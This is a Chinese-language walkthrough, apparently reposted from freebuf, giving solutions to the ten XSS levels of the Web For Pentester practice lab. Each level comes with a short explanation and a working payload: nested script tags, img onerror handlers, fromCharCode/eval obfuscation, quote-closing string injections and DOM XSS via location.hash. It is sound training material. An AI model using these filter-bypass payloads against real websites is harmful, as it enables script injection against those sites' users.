web_for_pentester是初学者学习web漏洞非常好的一个php环境,这里给出xss练习部分的答案,供练习参考。
说明
- Web For Pentester 平台 针对Xss-Example 1-10
- 写这篇文章我用\转义html标签,因为这篇文章用markdown写的
参考网站:
- https://blog.csdn.net/shinpachi8/article/details/54425439
- https://blog.csdn.net/qq_20307987/article/details/51284169
- https://blog.csdn.net/weixin_40871137/article/details/81706515
Web For Pentester
XSS-Example 1
<\script> alert(1) <\/script>
XSS-Example 2
- 进行了一些过滤,script标签被过滤掉了
<\sc<\script>ript> alert(1) <\/sc<\/script>ript>
XSS-Example 3
<-sc<-script>ript> alert(1) <-/sc<-/script>ript>
XSS-Example 4
- 在本例中,script被完全列入黑名单,如果请求中包含script脚本,则停止执行
- 这时候需要用img标签
<\img src=liu.jpg onerror=alert("xss")>
XSS-Example 5
- 在本例中,alert被过滤了,只要带alert,页面会返回error
- 使用JavaScript的eval和String.fromCharCode(),在不直接使用alert这个单词的情况下得到一个警告框fromcharcode()将把一个整数(十进制值)解码为对应的字符
- 可使用的方法如下
<\img src=liu.jpg onerror=prompt('1')> <\img src=liu.jpg onerror=confirm('1')> <\script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))<\/script>
- fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串,题目中String.fromCharCode(97,108,101,114,116,40,49,41)相当于alert(1)
- eval()是程序语言中的函数,功能是获取返回值,不同语言大同小异,函数原型是返回值 = eval( codeString ),如果eval函数在执行时遇到错误,则抛出异常给调用者
XSS-Example 6
- 查看源代码发现将输入到url的脚本输出到
var $a= "hacker<\script>alert(1)<\/script>";
- 利用javascipt语法闭合前面的”;中间加上语句alert(1);结束注释后面的分号//
";alert(1);//
XSS-Example 7
- 和Example相似
- 不同之处在与闭合是单引号
';alert(1);//
XSS-Example 8
- 本关卡着重理解脚本的输出位置:之类的输出在form表单的属性中,构造payload时,需要构造闭合form表单的符号。在表单中的<都被转义,查看源代码可看到效果。
- 在url中闭合from标签,可实现xss。
/"><\script>alert(1)<\/script>
XSS-Example 9
- hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)
- 注:本关卡主要理解domxss的作用,在字符串带入中可以用?和#,如果用?需要和服务器交互,但是如果用#,则可以抓包看到实际上请求的xss脚本并未提交到服务器,这里可以更好的理解domxss,实际上不需要服务器的解析,实际上是利用浏览器的dom解析就可以完成,这是domxss与其他xss最本质的区别。
location.hash location.hash.substring(1) //从#后第一个字符开始读取
因此payload:
example9.php?<\script>alert(1)<\/script> example9.php#<\script>alert(1)<\/script>
注意 :
- 博主用的ie浏览器可以实验成功
- 火狐和谷歌浏览器都会对<转码如下:
%3Cscript%3Ealert(1)%3C/script%3E
来源:freebuf.com 2019-04-29 10:27:27 by: valencia
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册